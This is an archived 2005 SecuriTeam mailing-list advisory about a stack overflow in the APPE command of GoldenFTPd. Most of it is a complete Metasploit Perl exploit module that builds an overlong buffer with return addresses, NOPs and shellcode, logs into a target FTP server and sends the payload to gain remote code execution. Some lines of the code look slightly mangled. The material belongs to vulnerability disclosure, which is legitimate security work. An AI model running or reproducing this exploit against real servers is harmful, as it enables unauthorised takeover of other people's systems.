

[EXPL] GoldenFTPd APPE Stack Overflow (Exploit)

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2005-12/msg00080.html>

- *From:* SecuriTeam <support@xxxxxxxxxxxxxx>
 - *Date:* 22 Dec 2005 15:03:15 +0200
-

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

GoldenFTPd APPE Stack Overflow (Exploit)

SUMMARY

" <<http://www.goldenftpserver.com/>> Golden FTP Server is extremely easy to use personal FTP server for Windows and can be run by any person who has the most basic computer skills."

A vulnerability in GoldenFTPd allows remote attackers to cause the product to execute arbitrary by overflowing the APPE FTP command's buffer.

DETAILS

Vulnerable Systems:

* Universal GoldenFTPd version 1.93 and prior

Exploit:

##

Written by Tim Shelton [redsand@xxxxxxxxxxxxxx]

GoldenFTPd

##

```
package Msf::Exploit::goldenftpd_appe;  
use base "Msf::Exploit";
```

[EXPL] GoldenFTPd APPE Stack Overflow (Exploit)

```
use strict;
use Pex::Text;

my $advanced = { };

my $info =
{
'Name' => 'GoldenFTPd APPE <= 1.92 Stack Overflow',
'Version' => '$Revision: 1.0 $',
'Authors' => [ 'Tim Shelton <redsand [at] redsand.net>', ],

'Arch' => [ 'x86' ],
'OS' => [ 'win32', 'win2000', 'winxp', 'win2003' ],
'Priv' => 0,

'AutoOpts' => { 'EXITFUNC' => 'thread' },
'UserOpts' =>
{
'RHOST' => [1, 'ADDR', 'The target address'],
'RPORT' => [1, 'PORT', 'The target port', 21],
'USER' => [1, 'DATA', 'Username', 'anonymous'],
'PASS' => [1, 'DATA', 'Password', 'metasploit@'],
},

'Payload' =>
{
'Space' => 400,
'BadChars' => "\x00\x0a\x0d\x20",
'Keys' => ['+ws2ord'],
},

'Description' => Pex::Text::Freeform(qq{
This module exploits a stack overflow in the GoldenFTPd
server. The flaw is triggered when a APPE command is received
with a specially crafted overly-long argument. This vulnerability
affects all versions of GoldenFTPd prior to 1.92 and was
discovered by
Tim Shelton.
}),

'Refs' =>
[
['RED-NET', '2005-11-14-01'],
],

'DefaultTarget' => 0,
'Targets' =>
[
['GoldenFTPd Server <= 1.92 Universal', 0x99998888,
0x11111111, 0x98d855eb, 0x0044395F],
],
}
```

[EXPL] GoldenFTPd APPE Stack Overflow (Exploit)

```
'Keys' => ['goldenftp'],

'DisclosureDate' => 'NONE',
};

sub new {
my $class = shift;
my $self = $class->SUPER::new({'Info' => $info, 'Advanced' =>
$advanced}, @_);
return($self);
}

sub Exploit {
my $self = shift;
my $target_host = $self->GetVar('RHOST');
my $target_port = $self->GetVar('RPORT');
my $target_idx = $self->GetVar('TARGET');
my $shellcode = $self->GetVar('EncodedPayload')->Payload;
my $target = $self->Targets->[$target_idx];

if (! $self->InitNops(30)) {
$self->PrintLine("[*] Failed to initialize the NOP
module.");
return;
}

# my $shellcode =
"\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe";

my $evil = ("APPE /");
$evil .= ("A")x120;

$evil .= (pack("V", $target->[3])) x 4;
$evil .= (pack("V", $target->[1]) . pack("V", $target->[2]) .
pack("V", $target->[4]) . pack("V", $target->[1])) x 4;
$evil .= $self->MakeNops(30);
$evil .= $shellcode;
$evil .= "\x0a\x0d";

my $s = Msf::Socket::Tcp->new
(
'PeerAddr' => $target_host,
'PeerPort' => $target_port,
'LocalPort' => $self->GetVar('CPORT'),
);

$self->PrintLine(sprintf("[*] Universal GoldenFTPd 1.93 Exploit
by redsand\n"));
```

[EXPL] GoldenFTPd APPE Stack Overflow (Exploit)

```
if ($s->IsError) {
$self->PrintLine("[*] Error creating socket: ' .
$s->GetError);
return;
}

$self->PrintLine(sprintf ("[*] Trying ".$target->[0]." using
return address 0x%.8x....", $target->[4]));

my $r = $s->Recv(-1, 30);
if (! $r) { $self->PrintLine("[*] No response from FTP server");
return; }
($r) = $r =~ m/^(^\n\r+)(\r\n)/;
$self->PrintLine("[*] $r");

$self->PrintLine("[*] Login as " . $self->GetVar('USER'). "/"
$self->GetVar('PASS'));
$s->Send("USER " . $self->GetVar('USER'). "\r\n");
$r = $s->Recv(-1, 10);
if (! $r) { $self->PrintLine("[*] No response from FTP server");
return; }

$s->Send("PASS " . $self->GetVar('PASS'). "\r\n");
$r = $s->Recv(-1, 10);
if (! $r) { $self->PrintLine("[*] No response from FTP server");
return; }

$self->PrintLine("[*] Sending evil buffer....");
$s->Send($evil);
$r = $s->Recv(-1, 10);
if (! $r) { $self->PrintLine("[*] No response from FTP server");
return; }
$self->Print("[*] $r");
return;
}
```

ADDITIONAL INFORMATION

The information has been provided by <<mailto:redsand@xxxxxxxxxxxxx>> Tim Shelton.

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@xxxxxxxxxxxxx

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@xxxxxxxxxxxxx

=====
=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

-
- Prev by Date: [*\[NT\] Interaction SIP Proxy Heap Corruption*](#)
 - Next by Date: [*\[NEWS\] Cisco PIX / CS ACS Downloadable RADIUS ACLs*](#)
 - Previous by thread: [*\[NT\] Interaction SIP Proxy Heap Corruption*](#)
 - Next by thread: [*\[NEWS\] Cisco PIX / CS ACS Downloadable RADIUS ACLs*](#)
 - Index(es):
 - ◆ [*Date*](#)
 - ◆ [*Thread*](#)